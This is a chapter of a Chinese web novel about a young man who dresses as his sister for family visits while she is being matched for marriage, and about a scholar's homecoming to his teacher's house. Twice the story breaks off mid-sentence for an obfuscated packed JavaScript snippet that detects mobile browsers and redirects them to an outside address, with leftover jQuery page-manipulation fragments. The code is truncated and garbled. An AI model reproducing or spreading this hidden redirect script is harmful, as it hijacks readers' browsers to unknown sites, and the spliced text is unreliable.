齐华清一怒之下怒了一下,无奈只能叫醒妹妹,说道:“希月,希月,你听到没有,答不答应?” 齐希月迷迷糊糊睁开眼睛,嘴里含糊的说道:“我答应了,答应了,二哥你别推,我想睡觉,好困啊。” 听到肯定的回答,齐华清松了一口气,但是看着齐希月这幅困到不行的样子,心里直打鼓,真的不会被发现吗? 可是他也没有别的选择了,已经和希月妹妹说了。 天蒙蒙发亮,齐华清便被屋里的声响吵醒了,他睁开眼,齐希月已经在梳洗打扮了。 他冷不丁的一惊,哑着声问:“希月怎么醒的那么早?” 齐华清昨晚将齐希月抱回她的床上后,他就去希月外间的塌上睡下了。 “要去给老夫人和夫人请安。”齐希月回道,身旁的小丫头捧着面巾站在边上。 齐希月这里说的老夫人和夫人指的是她们的奶奶和齐家大少奶奶,每天都要按规矩去跟长辈们请安。 “怎么这么早就去了,一般不是用早膳的时候请安吗?”齐华清疑惑不解的问道。 齐希月到底还是年纪小,藏不住话,白了齐华清一眼说道:“妹妹我既不是男子也不是嫡生子,哪有这样的规矩让我顺心睡到自然醒,在早膳的时候去请安。” “再说了,我哪有资格上桌吃早膳,请安完后我只能跟着我娘一起在屋里吃。” 脆生生的话语一字一句让齐华清感到哑然,他顿了一会儿才说道:“希月你还记得昨天答应我什么吗?” 齐希月猛然瞪大眼睛,一脸不可置信地说道:“二哥,你不会真要换吧,你跟我走一天也好过顶着我的身份,穿着我的裙子在府里上下走动吧?” 齐希月也不知齐华清是真心还是假意,他口中的课业是真是假。 齐华清脸上烧得慌,镇定中有一点慌乱地说:“换,真的换,你喊你身边信得过的人今天跟我一天,你就去我书房里看看话本,吃的喊书童送,我都和他们说好了。” 齐希月盯着齐华清看了一会儿,确认他不是开玩笑后,就让身边的小丫鬟过去给齐华清梳妆打扮。 一番折腾过后,齐华清穿着一身湖蓝色的衣裙,五官也偏向齐希月往常的妆容画。 “小姐,时间来不及了,要出发了。”小丫鬟小小声地提醒齐希月时间。 齐希月原本还想好好嘱咐二哥今天行程该小心的地方来着,现在只好长话短说,让他自己多注意注意。 齐华清跟着小丫鬟出了齐希月的院子,他的手心发汗,只希望路上没什么人注意他。他的脸上还遮着一块白色的面纱,不带不行,不带就会被人认出来他不是齐希月。 一路平平安安的来到了齐家老夫人的院子里,好在路上没碰上什么人,他松了一口气。等他进去才发现自己的这口气松早了。 家里庶出的姐姐妹妹都挤在了齐老夫人的院子里,寒暄不断,一串串吉祥话不带重样的说出口,齐华清只能见缝插针的上到奶奶面前请了安。 期间老夫人还问他为什么带着块面纱,齐华清没法子只好继续夹着嗓子小心翼翼地说:“回奶奶,我最近有些着凉咳嗓子。” 齐家老夫人脸色微变,口吻也稍稍冷淡,“生病了就早点回去休息,这几日你不用来请安了,病好了再说。” 齐华清从善如流应下,恭恭敬敬地退下了。 在退下地过程中耳尖的听见有个听不出声音的姐姐还是妹妹啐了一口,“也不知生的什么病,在奶奶面前说什么着凉,不知要心疼还是银钱,小小年纪诡计真多,也不知是真是假。” 齐华清脸都绿了,心思复杂,他是知道齐府面子上是过得去的,没想到私下里连希月这么小的年纪都能听到这些话,纠纷不断。 齐华清不知道的是他现在还没有接触到这些事情,一个是他娘亲将他保护的很好,让他早早去念书进学,另一个是,在家里的时候也很少跟其他房的交流。齐母平时也不苛待妾室,只要她们好好固守本分,该有的还是会有的。 “希月平日里来奶奶这里就是听这些话吗?”齐华清去往齐母的院子路上向齐希月的小丫鬟问道。 小丫头点点头,“是啊,比这更过分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133447|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐都听过了,今天的这个也没什么,二少爷不用放在心上,夫人这到了,二少爷。” 齐华清闭上了嘴,现在他只希望娘亲不要太为难他,让他请完安就回去。 只可惜没能如齐华清的愿。 此刻在齐府西北角院子里的齐希月突然想到,今天好像是齐夫人跟她说相看的事情。她咬着大拇指,来回在房间里走来走去,怎么办,要不要出去,脑子里乱糟糟的,只希望齐华清能伪装好身份。 不然受罚的肯定有她一个。 齐华清战战兢兢的请完安,正准备说退下的时候,被齐母叫住了,开始说起了相看的事情,齐华清只好坐在位置上,双手交叠藏在宽大的袖袍之下。 “希月,我给你看了好几个合适的公子,我给你说说,回去好好考虑考虑,考虑好了给个我答复。”齐母一开口就给齐华清来一击。 希月比他还小两岁,怎么就开始相看了,想他们院长的妹妹到现在还没成亲,都做上武先生教他们骑马射箭了。 “杜家的三公子,杜晃在青山书院进学,和你二哥同窗,知根知底,家里也是做生意的,和我们齐家有合作,你嫁过去也不用担心被欺负。” 杜晃!那个嚣张的胖子!口出狂言被副院长教做人的胖子!这样的人怎么能做他的妹夫,希月那么瘦弱,也扛不住杜晃,不行不行。 “还有个左府家的独子,性子天真烂漫,最是心善不过,嫁到他们家算是高攀,你要是选他成功的机会不高,也是你二哥的同窗,平常有点什么也好说说话。” 左丘栾那个老好人,不成不成,被人欺负死都不知道求助,还傻呵呵以为自己做了件大好事,这个也不行。 齐华清听了这两个忍不住说道:“夫人,希……我年纪还小呢,想在我娘亲身边多待两年,不着急不着急。” 说完,齐华清瞬间意识到了齐母脸上的不悦,讪讪说道:“娘……夫人,我……” 齐母一双利眼就往齐华清身上扫视,齐华清缩缩身子,低垂着脑袋,生怕被自己娘亲发现。 “你下去吧,想清楚了给我答复。” 齐华清灰溜溜地退下了,出来以后摸摸后背出了一身冷汗,娘亲的压迫感太强了。 他默默跟着小丫鬟回到齐希月的院子,和齐希月说了刚才发生的事情。 没想到齐希月却说做得好,她已经很久没有睡到自然醒了,至于相看婚事什么的,她才十四岁,还不着急,夫人生气就先生气一会,她以后去请安的时候再跟夫人道歉。 随后齐华清又和齐希月说了一下齐母给她选的几个合适人选,并说道:“你要不要有空来书院自己交流一下,娘亲介绍的这几个我感觉没几个好的。” 齐希月这时不说话了,沉默了一会儿才说道:“二哥,我和你不一样,自己找的终归不如夫人精挑细选的来好,我既没有眼界也没有识人的能力,也不清楚自己的位置究竟在哪。 23. 第 23 章 这回轮到齐华清沉默了,他也不能怎么办,成亲这种人生大事他不敢随口乱下许诺。 属于齐华清的一天才刚开始,还有很长的一段时间要度过。 * 今天一大早木竹秋就让人打理清洁林府门口,因为昨天接到了白琅月的来信,说是今天或者是明天就能到定江县了。 所以,木竹秋是很兴奋的,毕竟家里唯一一个靠谱的小孩终于满载荣誉而归,大大的给林府长脸,想到这半个月家里那两在书院里搞风搞雨,一个一个惊世骇俗的操作,她就忍不住想把人塞回肚子里。 一想到青山书院现如今的状况,木竹秋还是愁啊,这名声起起伏伏的,心晃得厉害。 正巧看到出来的林清和,木竹秋张口就叫住他,“清和过来,交给你个任务。” 林清和一个咯噔,哦豁,木女士连小名都不叫了,怎么回事,叫大名,这有点危险啊。 他乖乖巧巧地走到木竹秋面前,问道:“有什么需要我做的吗,娘亲大人?” “今天你就负责站在门口迎接琅月回来。” “啊?他不是今天或者是明天吗?”林清和疑惑出声,要是今天小师弟不回来他岂不是白白站在门口等他一整天。 木竹秋的脸色刷的黑下来,“他就今天回来。”就不能有顺心的一天吗,真不省心。 林清和识相的点点头,飞速地答应下来这个不合理的要求,心里默默嘀咕着,木女士看样子是到了更年期了,火气好大啊。 他乖乖地拿着厨房做的小零食肉干坐在靠门口的门房内等待着白琅月,放弃了今天去学生家里突击的计划。 多有趣啊,去看学生穿女装,可惜了。 “阿秋!”在齐府内和姐姐妹妹一起刺绣的齐华清突然打了个喷嚏,银针不小心随着身体的倾斜刺入指尖,沁出一个赤红的血珠。 究竟是谁在背后说他,齐华清含着指尖愤愤不平地想着。 随着回去的路程越来越短,白琅月的心也随之激动不安起来,不知道小师兄怎么样了,师父他们要是知道这件事应该会很高兴。 白琅月想到之前他拿着小师兄寄来的书信和调查问卷去给皇帝觐见,皇帝对于小师兄想要转变的现今朝廷培育人才的模式十分感兴趣,称赞其想法大胆新颖。 白琅月趁机表示自己想下放到自己师兄的故乡江川府定江县里当个县令磨练,多为百姓做实事,再回去之前想多出入存档院里学习前辈的经验。 皇帝被白琅月的一腔真心实意感动到了,大手一挥准许白琅月在回去家乡前在存档院内查看旧历资料。 存档院一般是大光皇朝存放历朝历代皇室成员资料与大理院各种案子的存放以及国库历年各种收入支出。 白琅月考状元的目的之一便是查询自己一家当年案情的全部,虽然说女帝为白家翻案,但他依旧想亲眼看看当年案子的真实情况,也算对得起当年父母拼尽全力将他送出来改名换姓躲避灾祸。 其实白琅月是有点庆幸女帝在他七八岁的时候就将案子翻案,洗刷他父母的冤屈,让他能重新换回自己的名字,光明正大的生活在青-天-白-日之中,而不是一步都不能出门。 这次任命下来之前,白琅月除了回定江县感谢恩师之外,还要回到他的家乡去祭奠双亲和族里受到波及的亲人长辈。 日头渐渐走向天空的正中央,白琅月也回到了定江县的南边街上,单人一骑背着简约的行囊。 林清和有一口没一口嚼着嘴里的肉干,眼神不断瞟向门口街道的尽头,脑子里想的全都是我的小师弟你怎么还没有回来呢? 街道的尽头拐角出现了一个骑着黑马背着行囊的年轻男子,林清和眯起眼睛,站起来,这看起来好像是小师弟,再努力看看。 随着距离越来越近,马背上的人面容也越来越清晰,一张清新俊逸的脸庞,深情潋滟的桃花眼夺人眼球,这不就是他的小师弟嘛。 林清和兴奋地站在原地朝小师弟挥挥手,抽空扭过头对身旁的监工侍女说道:“汝青姐姐快去通知娘亲,小师弟回来了。” 汝青的速度很快,不仅通知了木竹秋夫妻俩还通知了林槐夏,一大家子都在赶来正厅的路上。 “小师弟,你终于回来了,当官的生活怎么样啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133448|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有没有人欺负你,尽管告诉老头子的好友,不要憋在心里不说。”林清和伸手揉揉白琅月的头,笑呵呵地说道。 白琅月将黑马交给府里车夫王叔,嘴角勾起笑意,“小师兄我回来了,你有没有想我?” 喝!这一问可算惊到林清和了,这是一向脸皮薄的小师弟能问出来的话吗? 林清和围着白琅月绕了两圈,“小师弟,你还是小师弟吗?我看着怎么不像啊,我的小师弟哪有你脸皮厚上来就问有没有想你,快说,你究竟是谁?” 白琅月无奈扶额,“小师兄别玩了,我才刚回来,还想坐下来好好喝杯茶呢。” 一双桃花眼看得林清和觉得自己特别的罪恶,怎么能对刚回家的人开这种玩笑。 “哈哈,我的锅,我的锅,行李给我吧,向你赔罪,我帮你拿。”林清和主动伸手过去帮白琅月把行李拿到手上,领着人一路走向正厅。 白琅月久违地回到林府,府里的下人都跟着他动起来了,厨房准备茶水点心,府上的洒扫都去白琅月的房间里清洁打扫,就连平常服侍林启春的书童也去白狼月的书房去简单的收拾一番。 两人一路走到正厅,林启春三人也匆匆赶到了正厅。 “瘦了瘦了,琅月在光都辛苦了,回到家就好。”木竹秋直直走过来握住白琅月的双手,双眸泛红含泪,一脸心疼的望着白琅月。 “不辛苦师母,就是离家久了想你们得紧。”白琅月直白的回应了木竹秋的情绪。 不回不行啊,不回木竹秋可就一双眼含着泪可劲的看着他了,白琅月也不想的,他都被训练出反应来了,这缺德主意还是林清和给出的。 “咳咳,回来就好,这次回来待几日,别忘记去拜一下你爹娘。”林启春欣慰的看着越发像个大人的白琅月。 “回师父,在这待三日,之后就要赶路去祭奠我爹娘了。”白琅月一一回答林启春的问话。 外放到定江县做县令的事情,白琅月一时之间还不知道该怎么和林启春说,这件事一来没有皇帝得到的任命书,还只是口头应承,二来则是林启春会认为他在拿自己的仕途在胡闹。